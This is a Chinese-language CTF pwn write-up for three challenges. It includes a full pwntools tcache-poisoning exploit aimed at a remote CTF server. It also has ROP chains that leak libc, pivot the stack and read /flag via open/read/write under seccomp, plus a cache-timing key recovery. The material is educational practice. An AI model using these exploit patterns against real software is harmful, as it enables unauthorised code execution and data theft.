# spn(11.26)
附件下载
复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor.
虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制,
然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路.
0RAY 的脚本放上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
from pwn import * import sys context.log_level = 'debug' context.arch='amd64'
local=0 binary_name='SPN_ENC' libc_name='lib/libc-2.27.so' if local: p=process("./"+binary_name) libc=ELF("./"+libc_name) else: p=remote('124.71.194.126',9999) e=ELF("./"+binary_name) libc=ELF("./"+libc_name)
def z(a=''): if local: gdb.attach(p,a) if a=='': raw_input else: pass ru=lambda x:p.recvuntil(x) sl=lambda x:p.sendline(x) sd=lambda x:p.send(x) sa=lambda a,b:p.sendafter(a,b) sla=lambda a,b:p.sendlineafter(a,b) ia=lambda :p.interactive()
def leak_address(): if(context.arch=='i386'): return u32(p.recv(4)) else : return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num): sla("0.exit\n",str(num)) def add(size,idx): cho(1) sla("Size:",str(size)) sla("Index:",str(idx)) def delete(idx): cho(3) sla("Index:",str(idx)) def show(idx): cho(4) sla("Index:",str(idx)) def edit(idx,size,data): cho(2) sla("Index:",str(idx)) sla("Size",str(size)) sa("Content",data) def backdoor(): cho(5) def decrypt(x): io = process('./spn_dec.py') io.sendline(str(x&0xffff)) a = int(io.recv()[:-1]) io.close() return a def spn_dec(x): a1 = decrypt(x) a2 = decrypt(x>>16) a3 = decrypt(x>>32) aa = a1+a2*0x10000+a3*0x100000000 print(hex(a3),hex(a2),hex(a1)) print(aa) return aa
ru("gift:") shell_addr=int(ru('\n'),16) print(hex(shell_addr)) aa = spn_dec(shell_addr) print(hex(aa)) add(0x10,0) add(0x10,1) add(0x10,2) delete(2) delete(1) edit(0,0x26,b'a'*0x20+p64(aa)[:-2]) add(0x10,3) add(0x10,4) edit(4,2,b'aa') backdoor() ia()
|
然后,我找到了另一种解法,输入 0x1000,数组越界写了 shell,可以直接 backdoor
1 2 3 4
| add(0,0x1000) add(1,0x20) edit(0,0x1000+2,'\n') backdoor()
|
# checkin(11.27)
附件下载
# 关于 ASan
这道题使用了 ASan,是一种影子内存的技术。关于它的具体内容可以参考这篇文章
这里记录一点大致的内容
ASan 是 Google 开源的一个用于进行内存检测的工具,它由两个主要部分构成,插桩和动态运行库 (Run-time library)。
插桩主要是针对在 llvm 编译器级别对访问内存的操作 (store,load,alloca 等),将它们进行处理。
动态运行库主要提供一些运行时的复杂的功能 (比如 poison/unpoison shadow memory) 以及将 malloc,free 等系统调用函数 hook 住
ASan 采用了直接内存映射策略,具体的映射策略如下所示
64 位
Shadow = (Mem >> 3) + 0x7fff8000;
32 位
Shadow = (Mem >> 3) + 0x20000000;
# 关于 orw
由来:
有些 pwn 题为了增加难度,会在程序初始化的时候增加 seccomp 函数,禁用掉除了 sys_open,sys_write,sys_read 以外的所有系统调用。也就是说我们无法通过 system(‘/bin/sh’)来 getshell,只能通过 o,r,w 这三个系统调用获取 flag。
漏洞利用:
首先调用 open 函数打开 flag 文件。
然后读取 flag 文件。
最后通过 wirte 将 flag 打印出来。
1 2 3
| sys_open("flag")//读取flag sys_read("rax","rsp",0x40)//rax为sysoopen的返回值,也就是flag,然后将flag写到esp下 sys_write(1,"rsp",0x40)//打印flag的值到屏幕输出
|
害,还是知识不到位,这里再放一篇挺详细的
orw 介绍
# 分析
pwn 内可以任意地址写一个字节,故修改 _ZN14__interception21real___isoc99_vfscanfE 的第二个字节,使其指向 gets 函数 (0x73ED28)
1 2 3 4 5
| sla(b'Welcome! A gift for you:',str(0x73edb8+1)) sleep(1) sd(b'\x91') sa(b'Leave a note.',b'a'*0x1f) sa(b"That's all. Have fun!",p64(0x43FBB3))
|
构造 rop,调用 gets 函数,泄露 libc_addr 地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pop_rdi = 0x41af0b pop_rsp = 0x484d50 call_puts = 0x43A286 rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000) try: p.recv() sl(rop) libc_addr = leak_address()-0x407e0 print(hex(libc_addr)) if libc_addr == 0x736572605c61: p.close() return 0 except Exception: return 0 print(hex(libc_addr))
|
最后栈迁移 + orw 调用获取 flag 文件
1 2 3 4 5 6 7 8 9 10 11 12
| binsh=libc_addr+0x1B3E1A system=libc_addr+0x4f550 pop_rsi=0x000000000041ab7c pop_rdx=0x000000000043ced2 open_addr=libc_addr+libc.sym['open'] read_addr=libc_addr+libc.sym['read'] write_addr=libc_addr+libc.sym['write'] rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr) rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr) rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr) rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00' sl(rop2)
|
# slow_spn(11.29)
附件下载
这题感觉挺奇怪的。。。
貌似除了 pwntools 工具,就没有用到啥和 pwn 相关的东西,主要的解题思路也没啥漏洞利用的感觉,大概属于密码。
程序的大概流程就是:从 flag 文件里面导出 key 和 plaintext,然后通过 s 盒和 p 盒放入 cache 里面.
cache 是题目实现的,最多可以往里添加 0x20 个数(模拟访问 s 盒中的地址),超过了会剔除最小的一个,若是 cache 命中了则使用算法计数,未命中则 sleep (1),
由于题目给了一次访问 plaintext 在 s 盒中的地址的机会,所以可以通过遍历来爆破,通过 sleep (1) 判断 cache 是否命中,然后推出上图中 p,v9,v7,v5 以及 k>>8,k>>4,k 的值,然后拼接得到 key.